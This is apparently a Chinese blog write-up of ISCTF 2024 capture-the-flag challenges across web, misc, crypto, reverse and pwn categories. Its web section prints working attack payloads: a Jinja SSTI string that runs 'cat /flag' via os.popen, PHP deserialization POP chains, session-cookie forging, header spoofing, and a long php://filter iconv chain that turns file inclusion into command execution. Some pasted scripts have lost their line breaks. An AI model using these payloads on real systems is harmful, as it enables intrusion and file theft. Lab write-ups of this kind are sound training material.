当前位置: 首页 > news >正文

2024的ISCTF的复现

Web

2024-ISCTF WP_isctf2024的wp-CSDN博客

https://xz.aliyun.com/t/12586

SSTI一把梭工具焚靖fenjing - YD233的博客

1z_php

简单的绕过

小蓝鲨的冒险

?b=a[0]=s878926199a

parse_str函数:变量覆盖
s878926199a:0e绕过

num=2024\0

intval()函数:用于获取变量的整数值

intval函数有个特性:直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换。

注意:

require_once $which.'.php'; 是一个 PHP 语句,它用于包含并运行指定的 PHP 文件。

拼接文件名:$which.'.php' 将 $which 变量的值和一个 .php 扩展名拼接起来,形成完整的文件名。

?b=a[0]=s878926199a&which=flag

num=2024.1

小蓝鲨的秘密

考察重定向

打开环境发现存在跳转

bp抓包 题目链接 发包发现hint

小蓝鲨的故事

dirsearch扫描目录存在 robots.txt

此处为key

bp抓包解密原session

进行sseion伪造

{'username': b'www-data'}

{'username': b'ISctf_Hacker'}

python flask_session_cookie_manager3.py encode -s "TcGXH5JY" -t "{'username': b'ISctf_Hacker'}"

bp传入/flag

小蓝鲨的临时存储室

chmod命令越权

ezserialize

<?php
class Flag {
    private $flag;
}

class User {
    public $username ="username";
    public $isAdmin = true;
}

$a=new Flag();
$b = new User('username ', $flag);  
//依赖注入
// 将 Flag 对象传递给 User 对象
// b 对象的 __wakeup() 方法都能够访问 a 对象的 $flag 属性,因为 a 对象的 getFlag() 方法被调用来获取标志值
echo serialize($b);
?>

//O:4:"User":2:{s:8:"username";s:8:"username";s:7:"isAdmin";b:1;}

天命人

链头:MD5二次加密

?J=0e215962017

__get()   //调用不可访问、不存在的对象成员属性时触发

huoyan,jinjing

__invoke()  //把对象当成函数调用时触发

调用参数yun,传入Huoyanjinjing类

__toString()  //把对象当成字符串输出触发        e.g echo $a

echo $this->tianming;

__destruct()        //类的析构函数,对象被销毁时触发
__sleep()           //对象被序列化时触发

//构造pop链
<?php
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;    
}
class Tianmingren {
    public $tianming;
    public $ren;
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";
}

$a=new Wuzhishan();​
$b=new Huoyanjinjing();
$b->huoyan=$a;​
$c=new Dinghaishenzhen();
$c->yun=$b;​
$d=new Tianmingren();
$d->tianming=$c;
echo serialize($d);
?>

Wukong=O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里! ";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山! ";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}

25时晓山瑞希生日会

经典 HTTP头伪造,伪造流程如下:

User-Agent: Project Sekai			//伪造UA头
X-Forwarded-For:127.0.0.1			//伪造本地用户

伪造日期:Date: Tue, 27 Aug 2024 12:41:59 GMT 

ezSSTI

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /flag")|attr("read")()}}

UP!UPloader

分析源代码,构造payload,蚁剑连接发现无果,去看phpinfo,得到flag

或者可以使用以下方法

ezrce

取反绕过

Misc

大佬文章:ISCTF2024-Misc-WP-CSDN博客

小蓝鲨的签到01

小蓝鲨的签到02

下载附件,010查看即可得到flag。

少女的秘密花园

下载附件,放在010查看,发现PK

foremost分离文件,得到base_misc,010查看发现是个压缩包

解压得到flag.txt文件

base64转图片得2.png,再将图片拖进010

随波逐流分析 发现宽高不对,010修改高度得3.png

盲文对照,红色的是数字,盲文对比得JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2。下面三个方形对应括号,然后base32解码就可以得到flag

赢!rar

360zip秒掉,发现flag.txt

随波逐流分析出flag

数字迷雾:在像素中寻找线索

第一次随波逐流,第二次生成的再拖进去

游园地1

百度识图

游园地2

根据图片发现山崎居酒屋,百度识图发现是武汉江汉区的山崎居酒屋

根据题目,有一个圣地巡游,在google中发现关键信息

File_Format

解压之后,有一个不知道后缀名的flag文件,将后缀改成exe得到需要WinAce解压

加载相关软件解压,得到相关提示

使用ARCHPR.exe爆破

输入密码241023

老八奇怪自拍照

watermark

解压压缩包,得到三个文件 一个是压缩包一张png和一个txt

txt 提示水印,所以对图片提取盲水印,得到key2

key2:64oRvUfta9yJsBv

打开key1.txt,根据提示可为文本隐水印

工具:文本隐水印

key1:FAAqDPjpgKJiB6m

拼接就是解压密码

 秘密

解压发现是一张需要密码的图片

拖进010,发现是一个伪加密

进行伪加密修复,得到一张图片

将图片拖进010,发现关键信息password

接着用oursecret解密,工具下载:OurSecret文档加密工具资源下载-CSDN博客

打开txt,得到下面的内容

这里涉及到零宽隐写,在线解密得到flag

工具:Unicode Steganography with Zero-Width Characters 

奇怪的txt

观察文件夹中的文件大小可以看到73.txt的大小是不同的,打开文件查看可以看到末尾有==,然后其它的文件都是可以进行base64解码的,所以这里猜测这里是需要按照题目描述的方式来将txt文件进行一个拼接,而且73.txt得是最后一个,我们写脚本来进行拼接,从1.txt开始,73.txt结束。

使用ai写一个脚本

 神秘ping

解压之后,拖进010,发现需要进行流量分析,拖到最后,不难发现这里的字节都是反过来的,看英文也知道

那就写进行反转操作

with open("ping",'rb') as f:   #以二进制的形式读取文件内容content=f.read()  reverse_content=content[::-1]  
with open("p1ng.pcap",'wb') as b:  #以二进制写入b.write(reverse_content)

 运行脚本,成功打开流量包

既然和ping有关系,那么就过滤ICMP流量

Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 其原理是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo回显 请求(Echo Request)报文,并根据回复的ICMP回显应答消息(Echo Reply),测试目的站是否可达并获取连接的丢包率和平均往返时间等有关状态信息

参考:[SWPU2019]Network - 跳河离去的鱼 - 博客园 

我们用命令将ICMP的ttl都提取出来

tshark -r p1ng.pcap -Y "icmp" -T fields -e ip.ttl > 1.txt

这里使用到的是kali虚拟机

得到1.txt之后,用脚本进行解密

f = open('out.txt', "r")  
str = ''  
Binary = ''  
number = ''  
while 1:  num = f.readline()  if not num:  break  if num.rstrip() == '63':  # 去掉每行后面的空格  Binary = '00'  elif num.rstrip() == '64':  Binary = ''  elif num.rstrip() == '127':  Binary = '01'  elif num.rstrip() == '191':  Binary = '10'  elif num.rstrip() == '255':  Binary = '11'  str += Binary  
for i in range(0, len(str), 8):  number += chr(int(str[i:i + 8], 2))  
print(number)

 运行脚本,得到flag

像素圣战

翻译像素圣战,得到一个在线工具PixelJihad

密码是ISCTF,得到一串二进制数据

这里使用到puzzlesolver工具:GitHub - Byxs20/PuzzleSolver: 一款针对CTF竞赛MISC的工具~

starry sky

1.把图片拖进010,发现base64转图片

2.利用在线工具进行解密,得到一张图片

3.保存一下,拖到010当中,发现key为FF

4.刚好有一个xor文件,对其进行操作,发现是一个音频软件

5.将文件后缀修改为wav

6.使用在线des解密,得到flag

Crypto

ISCTF2024-Crypto(不全) - Naby - 博客园

我和小蓝鲨的秘密

from PIL import Image
import numpy as np
from Crypto.Util.number import long_to_bytes
d = 14529273505388659836222611033
n = 29869349657224745144762606999
encrypted_array_path = r"C:\Users\HP\Desktop\我和小蓝鲨的秘密\encrypted_image.npy"​
decrypted_array = np.zeros(encrypted_array.shape, dtype=np.uint8)
for i in range(encrypted_array.shape[0]):for j in range(encrypted_array.shape[1]):for k in range(3):  # RGB三个通道decrypted_pixel = pow(encrypted_array[i, j, k], d, n)decrypted_array[i, j, k] = int(long_to_bytes(decrypted_pixel)[0])
​
img = Image.fromarray(decrypted_array.astype(np.uint8))
img.save("decrypted_flag.jpg")
print(" 已经保存为:decrypted_flag.jpg")

ChaCha20-Poly1305

简单的RSA,解出p,q生成一张新图片

Reverse

你知道.elf文件嘛

回答里面的问题得到flag

PWN

Netcat

使用nc命令,nc 27.25.151.12 20177

以下是未做出的题:

千年樱

考点:使用php://filtericonv转换

1.第一层:

伪造 cookie:

from=ISCTF

2.使用 data 伪协议读文件

name=data://text/plain,ISCTF

3.绕过前面两层,得到以下绕过

这一关加上了一层背景,我们可以F12在检查中将背景删去,之后观察代码

参考文章:

hxp CTF 2021 - The End Of LFI? - 跳跳糖

利用filter过滤器的编码组合构造RCE-腾讯云开发者社区-腾讯云

[PHP]无需可控文件的LFI-RCE学习-CSDN博客

NSSCTF Round#8 web专项赛_多级连接绕过-CSDN博客

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

www.hackdig.com-官网首页

php://filter特性包含任意文件getshell

GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

 payload:

poc=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode&cmd=system('cat /flag');

下面的题参考链接: 

大佬文章:ISCTF2024

Node.js 常见漏洞学习与总结 - 先知社区

ezlogin

新闻系统

ezejs

蓝鲨的java入门课堂


http://www.mrgr.cn/news/78235.html

相关文章:

  • 网络安全期末复习
  • 质量留住用户:如何通过测试自动化提供更高质量的用户体验
  • 丹摩|丹摩智算平台深度评测
  • uniapp页面样式和布局和nvue教程详解
  • 论文阅读--Evidence for the utility of quantum computing before fault tolerance
  • Unity2D 关于N方向俯视角 中 角色移动朝向的问题
  • AQS底层原理
  • 设计模式:11、迭代器模式(游标)
  • redmi 12c 刷机
  • libaom 源码分析:码率控制超分辨率逻辑
  • ffmpeg 预设的值 加速
  • 1- 9 C 语言面向对象
  • Spring Boot 3 集成 Spring Security(2)授权
  • upload-labs 靶场(1~5)
  • 学习日记_20241126_聚类方法(自组织映射Self-Organizing Maps, SOM)
  • WordCloud参数的用法:
  • DeSTSeg: Segmentation Guided Denoising Student-Teacher for Anomaly Detection
  • 【笔记】轻型民用无人驾驶航空器安全操控
  • 零基础3分钟快速掌握 ——Linux【终端操作】及【常用指令】Ubuntu
  • webrtc 3A移植以及实时处理
  • Java进阶六-多线程
  • 使用系统内NCCL环境重新编译Pytorch
  • 基于Kubernetes编排部署EFK日志收集系统
  • 16 —— Webpack多页面打包
  • 【346】Postgres内核 Startup Process 通过 signal 与 postmaster 交互实现 (5)
  • NUXT3学习日记四(路由中间件、导航守卫)